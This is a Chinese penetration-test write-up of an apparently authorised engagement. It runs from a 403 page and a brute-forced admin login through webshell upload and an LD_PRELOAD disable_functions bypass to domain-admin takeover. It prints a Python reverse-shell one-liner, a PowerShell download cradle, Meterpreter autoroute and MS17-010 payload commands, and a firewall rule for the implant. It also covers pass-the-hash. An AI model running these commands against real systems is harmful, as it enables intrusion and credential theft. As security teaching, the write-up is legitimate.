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细说渗透江湖之披荆斩棘

这是  酒仙桥六号部队  的第  4 0  篇⽂章。

全⽂共计 2 8 2 4个字，预计阅读时⻓ 1 0分钟。

前⾔

说来话⻓ ,  在⼀个⽉⿊⻛⾼的晚上，突然接到⼀个渗透任务，貌似还挺急，在客户充分

授权的情况下，便连夜进⾏测试。

由于本次渗透时间紧任务重，以拿权限为主，信息收集时需要格外仔细，端⼝、C段、

指纹、路径、 f o f a、⽬录、 g i t h u b、⽹盘等等，有关信息进⾏收集，当然了 4 0 3，

4 0 4， n g i n x等⻚⾯也是屡⻅不鲜了，故事的开始要从⼀个 4 0 3⻚⾯开始，也许在坚硬

的 4 0 3下，当你⼀层⼀层剥开他的⽬录的时候，你会发现意想不到的惊喜。不多废话，

直接正⽂。

正⽂

开局⼀个 4 0 3，后⾯⽬录全靠扫，不要问我为什么是这个 4 0 3，我只能说直觉告诉我这

个⻚⾯并不简单。

原创 队员编号040 1周前酒仙桥六号部队
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⽬录扫描

发现a d m i n⽬录。

访问a d m i n⽬录，发现是⼀个后台登录⻚⾯。
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先收集⼀下信息，利⽤w h a t w e b来收集指纹信息，看⼀看有没有已知漏洞，不过很遗憾

没有查到已知漏洞，⽽且这个 c m s还是最新版本。

回来看⼀下还没有验证码，看来可以来⼀波弱⼝令爆破，果断上字典撸它⼀波，很遗

憾，没有爆出来。
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根据客户信息，搜集⼀波，尝试利⽤收集到的⼈名信息配合弱⼝令⽣成⼀个新的字典。
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运⽓不错，原来密码是名字+键盘密码。

进⼊后台先看看有啥能利⽤的功能点。
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编辑栏⽬处，发现⼀个可以⽂件上传的点。

先上传⼀波正常⽂件，访问，⼀切正常。
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换成⼀句话，上传 p h p，很可惜，有⼀定的限制，没有成功，尝试了各种⽅法，双写，

⼤⼩写，垃圾字符，截断，换⾏，双 f i l e n a m e等等，很遗憾，通通失败。

其他地⽅也没什么发现，此时⼀度陷⼊僵局，既然知道⽤的什么 c m s了，本地搭建环

境，代码审计看看有没有什么可利⽤的漏洞。

代码审计

发现备份数据的地⽅可以执⾏ s q l语句

⽂件位置 a p p - > s y s t e m - > d a t a b a c k - > a d m i n - > i n d e x . c l a s s . p h p的 5 8 1⾏是关键

地⽅。
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这⾥先获取p a t h路径。

此处解析上传的恶意 s q l⽂件，此处$ s q l为我们的恶意 s q l语句，经过了⼀处正则匹配，

然⽽并没什么⽤。
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从 $ s q l = $ t r a s f e r - > g e t Q u e r y ( $ s q l )开始⼀⾏⼀⾏执⾏我们的 s q l语句直⾄完成操

作。
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但是利⽤S Q L语句写 s h e l l，需要知道绝对路径和⾼权限，不管那么多，先去找找绝对路

径，万⼀这个点可以利⽤岂不是美滋滋。

Getshell

返回⽬标寻找绝对路径，在翻 j s时，由于⽬标明确直接搜索 p a t h关键字找到了我所需要

的东⻄。

接下就是去构造⼀个S Q L⽂件写⼊⼩⻢。

执⾏导⼊，写⼊⼩⻢，这⾥⽤⼀句话上传了冰蝎，连接；

⼀切都这么顺理成章，简直就是上帝的宠⼉。然⽽现实它狠狠的给了我⼀巴掌。
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发现不能执⾏命令，⽆法执⾏命令的  w e b s h e l l  是毫⽆意义的，查看p h p i n f o。

禁⽤函数：

发 现 没 有 禁 ⽤ p u t e n v ， 尝 试 B y p a s s  d i s a b l e _ f u n c t i o n s ， 利 ⽤ 环 境 变 量  

L D _ P R E L O A D  劫持系统函数，让外部程序加载恶意。

1 passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_sta
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s o，达到执⾏系统命令的效果。p h p⽂件是需要上传到⽬标的执⾏命令的脚本 . s o是编译

后的b y p a s s _ d i s a b l e f u n c _ x 6 4 . s o。

基本原理

在  L i n u x  中已安装并启⽤  s e n d m a i l  程序。 p h p  的  m a i l ( )  函数在执⾏过程中会默认

调⽤系统程序  / u s r / s b i n / s e n d m a i l，⽽  / u s r / s b i n / s e n d m a i l  会调⽤  g e t u i d ( )。

通过  L D _ P R E L O A D  的⽅式来劫持  g e t u i d ( )，再⽤  m a i l ( )  函数来触发  s e n d m a i l  

程序进⽽执⾏被劫持的  g e t u i d ( )，从⽽就能执⾏恶意代码了。

好 了 ，  L D _ P R E L O A D  突 破  d i s a b l e _ f u n c t i o n s  的 唯 ⼀ 条 件 ， P H P  ⽀ 持

p u t e n v ( )、m a i l ( )  即可。

内⽹初探：

为了⽅便，⽤p y t h o n先弹⼀个 s h e l l回来。

1

2

3

4

python -c 

'import socket,subprocess,os;

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);

s.connect(("xxx.xxx.xxx.xxx",port));
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接下来上m s f，既然可以执⾏命令了，那就 p y t h o n起⼀个 h t t p  然后 w g e t下来⼀个

e l f，⽣成⽊⻢。

M s f起监听，并执⾏弹 s h e l l，由于忘记截图，只剩下添加路由处。

5

6

7

8

os.dup2(s.fileno(),0);

os.dup2(s.fileno(),1); 

os.dup2(s.fileno(),2);

p=subprocess.call(["/bin/bash","-i"]);'

1 meterpreter > run get_local_subnets //获取当前机器的所有⽹段信息



2020/7/27 细说渗透江湖之披荆斩棘

https://mp.weixin.qq.com/s/HVOpUfJbncp81GWFLcgIFw 14/27

扫描⼀下同⽹段机器，数量较多这⾥只截取⼀部分。

2

3

meterpreter > run autoroute -s xxx.xxx.xxx.xxx/24 //添加⽬标内⽹0⽹段的路由，

meterpreter > run autoroute -p //打印当前添加的路由表信息
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进⼊内⽹，按照惯例先来⼀波m s 1 7 - 0 1 0开路看看，发现⼀台存在漏洞，就在我认为可

以顺利拿下 s h e l l的时候，我发现事情并不简单，利⽤m s f的 e x p模块没有成功，由于没

有成功这个点暂时搁置，去看看其他机器有没有什么可利⽤的服务，回到w e b s h e l l上做

信息收集发现了数据库⽂件。

尝试连接，结果连接失败。
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在其他机器上的w e b，弱⼝令进到后台，也没什么可利⽤点。
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此时已是凌晨 1点多，⼀度陷⼊僵持状态，就在我打算洗洗睡了的时候，突然想起⼀开始

的m s 1 7 - 0 1 0，既然不能直接反弹 s h e l l回来，那我去接⼊它试⼀试，说⼲就⼲，更换

p a y l o a d。

在打⼀遍，在我反复尝试之后，终于有⼀次成功了。

接下来就是上 c s，依然p y t h o n在服务器起⼀个h t t p服务，利⽤p o w e r s h e l l下载。

1 msf> set payload windows/x86/shell/bind_tcp
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这⾥执⾏之后直接卡死了。。。所以退出之后，⼜重新再来⼀遍，重新执⾏下载。

看到接到请求。

期间⼜经历了⼏次掉线之后，终于⼜上线了。

1 Powershell.exe“(new-object System.Net.WebClient).DownloadFile(‘http://xxx
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成功上线，⽼套路抓密码看⼀下，由于这⾥没有抓到明⽂只抓到了h a s h。

所以利⽤p t h尝试其他w i n d o w s主机，看看能否也⼀起拿下。
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拿下其他4台w i n d o w s，同样的步骤，抓密码翻⽂件。

在其中⼀台机器中找到⼀个⽂件，⾥⾯记录这⼀台同⽹段的w e b l o g i c的 I P，不管那么多

先去看看w e b l o g i c，发现现在这个 I P上没有服务，⽽且刚才没有扫出来 7 0 0 1，难道是

转移 I P了？抱着试⼀试的⼼态重新扫了⼀下同⽹段的 7 0 0 1端⼝，果然换了⼀个新的 I P，

访问内⽹w e b 7 0 0 1端⼝。
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前⾯已经做过 s o c k s代理了，利⽤P r o x i f i e r连接，可以直接访问。

既然知道是w e b l o g i c，当然是⽤现有漏洞打⼀下。

通过 c v e - 2 0 1 9 - 2 7 2 5拿到 s h e l l。

信息收集，发现是个双⽹卡机器。
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在w e b l o g i c上做代理，然后收集 1 0段端⼝服务信息，发现其中⼏台机器开着3 3 8 9，这

⾥将w e b l o g i c的 s h e l l联动给m s f，利⽤m s f的 c v e - 2 0 1 9 - 0 7 0 8模块，试着打了⼀下

0 7 0 8。

成功拿下第⼀台 1 0段的机器，由于这台机器不能出⽹，只能利⽤中间w e b l o g i c作为跳

板，⽣成⼀个 c s⽊⻢，监听地址和端⼝为w e b l o g i c的 i p和端⼝，利⽤m s f上传上去，

运⾏。

这⾥踩了个坑，反弹给w e b l o g i c时⼀直接不到 s h e l l，最后看了半天感觉是防⽕墙的原

因，⼿动配置防⽕墙规则。

防⽕墙规则命令：
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成功接到反弹的 s h e l l。

继 续 在 新 的 机 器 上 做 信 息 收 集 ， 利 ⽤ i p c o n f i g  / a l l 判 断 是 否 存 在 域 ， n e t  t i m e  

/ d o m a i n ,此命令如果报错为5，则存在域但是该⽤户不是域⽤户。

常⽤的信息收集命令：

发现存在域，利⽤ipconfig /all和nslookup（利⽤nslookup解析域名的ip，判断dns服务器和域控是

不是在同⼀台主机上）查到了域控的IP，既然存在域第⼀选择当然是看看有没有14-068这个洞，如

果有的话岂不是美滋滋，然⽽并没有，⽼套路抓密码。

1 netsh advfirewall firewall add rule name=cs dir=in action=allow protocol=

1 net view /domain，ipconfig /all，net time /domain，net view /domain:域名, n
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扫描同⽹段 i p端⼝先扫4 4 5看看。

建⽴⼀个 s m b隧道：
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利⽤得到密码p s e x e c哈希传递，获取其他机器的权限然后反复循环上⾯信息收集抓取密

码翻⽂件，就这样⼜过去了两个⼩时，终于在其中的⼀台机上，抓到域管密码，登录域

控。
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⼩结

本次渗透虽不算艰难险阻但也并⾮⼀帆⻛顺 ,中间⼀度陷⼊僵局 ,  但最后还是达到了预期

⽬标，整个过程⼤概花了将近2天的时间，都是⼀些常规操作。某位师傅说过，渗透的本

质就是信息收集，信息收集贯穿了整个渗透流程，同时⾃⼰也学到了⼀些东⻄。
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